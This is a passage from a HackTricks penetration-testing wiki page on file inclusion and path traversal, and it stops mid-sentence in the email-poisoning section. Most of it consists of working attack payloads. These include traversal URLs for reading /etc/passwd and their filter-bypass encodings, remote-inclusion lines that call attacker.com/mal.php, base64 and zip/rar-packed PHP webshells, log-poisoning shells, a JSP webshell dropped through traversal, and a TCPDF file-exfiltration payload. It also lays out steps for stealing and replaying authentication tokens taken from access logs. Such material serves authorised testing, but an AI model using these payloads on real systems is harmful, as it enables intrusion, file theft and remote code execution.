overview.md (45920B)
1 --- 2 title: "File Inclusion and Path Traversal" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/file-inclusion/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # File Inclusion and Path Traversal 14 15 [Dds Rtps Security](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/dds-rtps-security.md) 16 17 ## File Inclusion 18 19 **Remote File Inclusion (RFI):** The application loads a file from a remote server. If the included resource is interpreted as code, an attacker can host and execute a payload. In PHP, URL-aware inclusion is **disabled by default** through `allow_url_include`.\ 20 **Local File Inclusion (LFI):** The application loads a local file.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 21 22 The vulnerability occurs when user input controls the file path loaded by the server. 23 24 Relevant **PHP functions** include `require`, `require_once`, `include`, and `include_once`. 25 26 A useful exploitation tool is [fimap](https://github.com/kurobeats/fimap). 27 28 ## Blind - Interesting - LFI2RCE files 29 30 ```python 31 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ 32 ``` 33 34 ### **Linux** 35 36 **Mixing several \*nix LFI lists and adding more paths I have created this one:** 37 38 39 [File Inclusion Linux.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt) 40 41 Try also to change `/` for `\`\ 42 Try also to add `../../../../../` 43 44 A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 45 46 ### **Windows** 47 48 Merge of different wordlists: 49 50 51 [File Inclusion Windows.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt) 52 53 Try also to change `/` for `\`\ 54 Try also to remove `C:/` and add `../../../../../` 55 56 A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 57 58 ### **OS X** 59 60 Check the Linux LFI list. 61 62 ## Basic LFI and bypasses 63 64 All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 65 66 ```text 67 http://example.com/index.php?page=../../../etc/passwd 68 ``` 69 70 ### traversal sequences stripped non-recursively 71 72 ```python 73 http://example.com/index.php?page=....//....//....//etc/passwd 74 http://example.com/index.php?page=....\/....\/....\/etc/passwd 75 http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd 76 ``` 77 78 ### **Null byte (%00)** 79 80 Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php") 81 82 ```text 83 http://example.com/index.php?page=../../../etc/passwd%00 84 ``` 85 86 This is **solved since PHP 5.4** 87 88 ### **Encoding** 89 90 You can use non-standard encodings such as double URL encoding: 91 92 ```text 93 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd 94 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd 95 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd 96 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 97 ``` 98 99 ### HTML-to-PDF SVG/IMG path traversal 100 101 Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.<sup>[[3]](#references)</sup> 102 103 - **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation. 104 - **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `<image>` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it: 105 106 ```text 107 <img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" /> 108 ``` 109 110 TCPDF prepends `$_SERVER['DOCUMENT_ROOT']` to paths beginning with `/` and only later resolves `..`, so use either leading `../../..` segments or `/../../..` to escape the root after the prepend. 111 - **Encoding to bypass naive filters**: Versions ≤6.8.2 only check for the literal substring `../` *before* decoding the URL. Sending `..%2f` (or `..%2F`) in the SVG or in a raw `<img src>` attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls `urldecode()`. 112 - **Double-encoding for multi-stage decoding**: If user input is decoded by the web framework *and* by TCPDF, double-encode the slash (`%252f`). One decode turns it into `%2f`, the second decode in TCPDF turns it into `/`, yielding `/..%252f..` → `/../../../…` without ever showing `../` to the early filter. 113 - **HTML `<img>` handler**: `TCPDF::openHTMLTagHandler()` contains the same order-of-operations bug, allowing direct HTML payloads such as `src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//..%252f..%252ftmp%252fsecret.png"` to read any locally reachable bitmap. 114 115 This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (`isRelativePath()`), so during tests prioritise older `Producer` versions. 116 117 ### From existent folder 118 119 Maybe the back-end is checking the folder path: 120 121 ```python 122 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd 123 ``` 124 125 ### Exploring File System Directories on a Server 126 127 The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this: 128 129 1. **Determine Directory Depth:** Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three: 130 131 ```bash 132 http://example.com/index.php?page=../../../etc/passwd # depth of 3 133 ``` 134 135 2. **Probe for Folders:** Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one: 136 137 ```bash 138 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 139 ``` 140 141 3. **Interpret the Outcomes:** The server's response indicates whether the folder exists: 142 - **Error / No Output:** The folder `private` likely does not exist at the specified location. 143 - **Contents of `/etc/passwd`:** The presence of the `private` folder is confirmed. 144 4. **Recursive Exploration:** Discovered folders can be further probed for subdirectories or files using the same technique or traditional Local File Inclusion (LFI) methods. 145 146 For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if `/var/www/` contains a `private` directory (assuming the current directory is at a depth of 3), use: 147 148 ```bash 149 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd 150 ``` 151 152 ### **Path Truncation Technique** 153 154 Path truncation is a method employed to manipulate file paths in web applications. It's often used to access restricted files by bypassing certain security measures that append additional characters to the end of file paths. The goal is to craft a file path that, once altered by the security measure, still points to the desired file. 155 156 In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance: 157 158 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. 159 - When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. 160 - Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. 161 162 The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (user account information): 163 164 ```text 165 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... 166 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. 167 ``` 168 169 ```text 170 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd 171 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd 172 ``` 173 174 In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration. 175 176 - **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server. 177 - **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact. 178 - **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic. 179 180 When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. 181 182 **This vulnerability was corrected in PHP 5.3.** 183 184 ### **Filter bypass tricks** 185 186 ```text 187 http://example.com/index.php?page=....//....//etc/passwd 188 http://example.com/index.php?page=..///////..////..//////etc/passwd 189 http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd 190 Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd 191 http://example.com/index.php?page=PhP://filter 192 ``` 193 194 ## Remote File Inclusion 195 196 In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE: 197 198 ```python 199 http://example.com/index.php?page=http://atacker.com/mal.php 200 http://example.com/index.php?page=\\attacker.com\shared\mal.php 201 ``` 202 203 If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** access to external webpages, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:<sup>[[4]](#references)</sup> 204 205 ```text 206 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt 207 ``` 208 209 ## Exposed `.git` Repository (Source Disclosure) 210 211 If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality.<sup>[[5]](#references)</sup> 212 213 Quick checks: 214 215 ```bash 216 curl -s -i http://TARGET/.git/HEAD 217 curl -s -i http://TARGET/.git/config 218 ``` 219 220 Dump the repository with `git-dumper`: 221 222 ```bash 223 uv tool install git-dumper 224 git-dumper http://TARGET/.git/ out/ 225 ``` 226 227 Then recover the working tree: 228 229 ```bash 230 cd out 231 git checkout . 232 ``` 233 234 > [!TIP] 235 > In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed). 236 237 Another example **not using the `php://` protocol** would be: 238 239 ```text 240 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt 241 ``` 242 243 ## Python Root element 244 245 In python in a code like this one: 246 247 ```python 248 # file_name is controlled by a user 249 os.path.join(os.getcwd(), "public", file_name) 250 ``` 251 252 If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**: 253 254 ```python 255 os.path.join(os.getcwd(), "public", "/etc/passwd") 256 '/etc/passwd' 257 ``` 258 259 It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):<sup>[[20]](#references)</sup> 260 261 > If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. 262 263 ## Java List Directories 264 265 It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik). 266 267 ## Top 25 parameters 268 269 Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):<sup>[[18]](#references)</sup> 270 271 ```text 272 ?cat={payload} 273 ?dir={payload} 274 ?action={payload} 275 ?board={payload} 276 ?date={payload} 277 ?detail={payload} 278 ?file={payload} 279 ?download={payload} 280 ?path={payload} 281 ?folder={payload} 282 ?prefix={payload} 283 ?include={payload} 284 ?page={payload} 285 ?inc={payload} 286 ?locate={payload} 287 ?show={payload} 288 ?doc={payload} 289 ?site={payload} 290 ?type={payload} 291 ?view={payload} 292 ?content={payload} 293 ?document={payload} 294 ?layout={payload} 295 ?mod={payload} 296 ?conf={payload} 297 ``` 298 299 ## LFI / RFI using PHP wrappers & protocols 300 301 ### php://filter 302 303 PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters: 304 305 - [String Filters](https://www.php.net/manual/en/filters.string.php): 306 - `string.rot13` 307 - `string.toupper` 308 - `string.tolower` 309 - `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars) 310 - Note that this filter has disappear from the modern versions of PHP 311 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) 312 - `convert.base64-encode` 313 - `convert.base64-decode` 314 - `convert.quoted-printable-encode` 315 - `convert.quoted-printable-decode` 316 - `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l` 317 318 > [!WARNING] 319 > Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters). 320 321 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) 322 - `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) 323 - `zlib.inflate`: Decompress the data 324 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) 325 - `mcrypt.*` : Deprecated 326 - `mdecrypt.*` : Deprecated 327 - Other Filters 328 - Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**: 329 - `consumed` 330 - `dechunk`: reverses HTTP chunked encoding 331 - `convert.*` 332 333 ```php 334 # String Filters 335 ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd 336 echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); 337 ## Same chain without the "|" char 338 echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); 339 ## string.string_tags example 340 echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala"); 341 342 # Conversion filter 343 ## B64 decode 344 echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); 345 ## Chain B64 encode and decode 346 echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); 347 ## convert.quoted-printable-encode example 348 echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); 349 =C2=A3hellooo=3D 350 ## convert.iconv.utf-8.utf-16le 351 echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); 352 353 # Compression Filter 354 ## Compress + B64 355 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); 356 readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally 357 # PHP wrapper names are case-insensitive, so variants such as "PhP://" also work 358 ``` 359 360 > [!WARNING] 361 > The part "php://filter" is case insensitive 362 363 ### Using php filters as oracle to read arbitrary files 364 365 [**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.<sup>[[6]](#references)</sup> 366 367 In the original post you can find a detailed explanation of the technique, but here is a quick summary: 368 369 - Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. 370 - This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** 371 - The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. 372 - This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. 373 - The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. 374 - Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). 375 - When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. 376 - The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. 377 - And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. 378 379 In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).<sup>[[6]](#references)</sup> 380 381 ### php://fd 382 383 This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: 384 385 ```php 386 echo file_get_contents("php://fd/3"); 387 $myfile = fopen("/etc/passwd", "r"); 388 ``` 389 390 You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (not sure how this could be useful in an attack) 391 392 ### zip:// and rar:// 393 394 Upload a Zip or Rar file with a PHPShell inside and access it.\ 395 In order to be able to abuse the rar protocol it **need to be specifically activated**. 396 397 ```bash 398 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; 399 zip payload.zip payload.php; 400 mv payload.zip shell.jpg; 401 rm payload.php 402 403 http://example.com/index.php?page=zip://shell.jpg%23payload.php 404 405 # To compress with rar 406 rar a payload.rar payload.php; 407 mv payload.rar shell.jpg; 408 rm payload.php 409 http://example.com/index.php?page=rar://shell.jpg%23payload.php 410 ``` 411 412 ### data:// 413 414 ```text 415 http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?> 416 http://example.net/?page=data://text/plain,<?php phpinfo(); ?> 417 http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= 418 http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?> 419 http://example.net/?page=data:text/plain,<?php phpinfo(); ?> 420 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= 421 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" 422 ``` 423 424 Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`** 425 426 ### expect:// 427 428 Expect has to be activated. You can execute code using this: 429 430 ```text 431 http://example.com/index.php?page=expect://id 432 http://example.com/index.php?page=expect://ls 433 ``` 434 435 ### input:// 436 437 Specify your payload in the POST parameters: 438 439 ```bash 440 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" 441 ``` 442 443 ### phar:// 444 445 A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file: 446 447 ```php 448 <?php 449 $phar = new Phar('test.phar'); 450 $phar->startBuffering(); 451 $phar->addFromString('test.txt', 'text'); 452 $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>'); 453 $phar->stopBuffering(); 454 ``` 455 456 To compile the `.phar` file, the following command should be executed: 457 458 ```bash 459 php --define phar.readonly=0 create_path.php 460 ``` 461 462 Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities. 463 464 In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.<sup>[[17]](#references)</sup> 465 466 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: 467 468 [Phar Deserialization Exploitation Guide](/hacktricks/pentesting-web/file-inclusion/phar-deserialization) 469 470 471 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization) 472 473 ### CVE-2024-2961 474 475 It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**<sup>[[7]](#references)</sup>\ 476 Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ 477 It was possible to alloc chunks of specific sizes abusing more php filters.<sup>[[7]](#references)</sup> 478 479 ### More protocols 480 481 Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** 482 483 - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack) 484 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem 485 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs 486 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs 487 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams 488 - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here) 489 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 490 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files) 491 492 ## LFI via PHP's 'assert' 493 494 Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized. 495 496 For example, PHP code might be designed to prevent directory traversal like so: 497 498 ```bash 499 assert("strpos('$file', '..') === false") or die(""); 500 ``` 501 502 While this aims to stop traversal, it inadvertently creates a vector for code injection. To exploit this for reading file contents, an attacker could use: 503 504 ```plaintext 505 ' and die(highlight_file('/etc/passwd')) or ' 506 ``` 507 508 Similarly, for executing arbitrary system commands, one might use: 509 510 ```plaintext 511 ' and die(system("id")) or ' 512 ``` 513 514 It's important to **URL-encode these payloads**. 515 516 ## PHP Blind Path Traversal 517 518 > [!WARNING] 519 > This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown. 520 521 In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. 522 523 As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**. 524 525 Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**. 526 527 **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` 528 529 For the technical details check the mentioned post! 530 531 ## LFI2RCE 532 533 ### Arbitrary File Write via Path Traversal (Webshell RCE) 534 535 When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. 536 537 Typical exploitation workflow: 538 - Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). 539 - Determine web-exposed directories. Common examples: 540 - Apache/PHP: `/var/www/html/` 541 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp` 542 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` 543 - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. 544 - Browse to the dropped payload and execute commands.<sup>[[8]](#references)</sup><sup>[[9]](#references)</sup> 545 546 Notes: 547 - The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. 548 - On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. 549 550 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): 551 552 ```xml 553 <?xml version="1.0" encoding="UTF-8"?> 554 <JMF SenderID="hacktricks" Version="1.3"> 555 <Command Type="SubmitQueueEntry"> 556 <!-- Write outside the intake folder into the webroot via traversal --> 557 <Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource> 558 <Data> 559 <![CDATA[ 560 <%@ page import="java.io.*" %> 561 <% 562 String c = request.getParameter("cmd"); 563 if (c != null) { 564 Process p = Runtime.getRuntime().exec(c); 565 try (var in = p.getInputStream(); var out = response.getOutputStream()) { 566 in.transferTo(out); 567 } 568 } 569 %> 570 ]]> 571 </Data> 572 </Command> 573 </JMF> 574 ``` 575 576 Hardening that defeats this class of bugs: 577 - Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory. 578 - Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames. 579 - Run the writer as a low-privileged account and segregate write directories from served roots. 580 581 ## LFI2RCE via Remote Inclusion and File Poisoning 582 583 Explained previously, [**follow this link**](#remote-file-inclusion). 584 585 ### Via Apache/Nginx log file 586 587 If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file 588 589 > [!WARNING] 590 > Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. 591 > 592 > Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity. 593 594 This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ 595 Other possible log paths: 596 597 ```python 598 /var/log/apache2/access.log 599 /var/log/apache/access.log 600 /var/log/apache2/error.log 601 /var/log/apache/error.log 602 /usr/local/apache/log/error_log 603 /usr/local/apache2/log/error_log 604 /var/log/nginx/access.log 605 /var/log/nginx/error.log 606 /var/log/httpd/error_log 607 ``` 608 609 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) 610 611 ### Read access logs to harvest GET-based auth tokens (token replay) 612 613 Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication.<sup>[[10]](#references)</sup> 614 615 How-to: 616 - Use the traversal/LFI to read the web server access log. Common locations: 617 - /var/log/apache2/access.log, /var/log/httpd/access_log 618 - /var/log/nginx/access.log 619 - Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines. 620 - Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point. 621 622 Example flow (generic): 623 624 ```http 625 GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1 626 Host: target 627 ``` 628 629 Decode the body if it’s Base64, then replay a captured token: 630 631 ```http 632 GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1 633 Host: target 634 ``` 635 636 Notes: 637 - Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems. 638 - If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token. 639 - Rotate any tokens that may have leaked to logs. 640 641 ### Via Email 642 643 **Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like 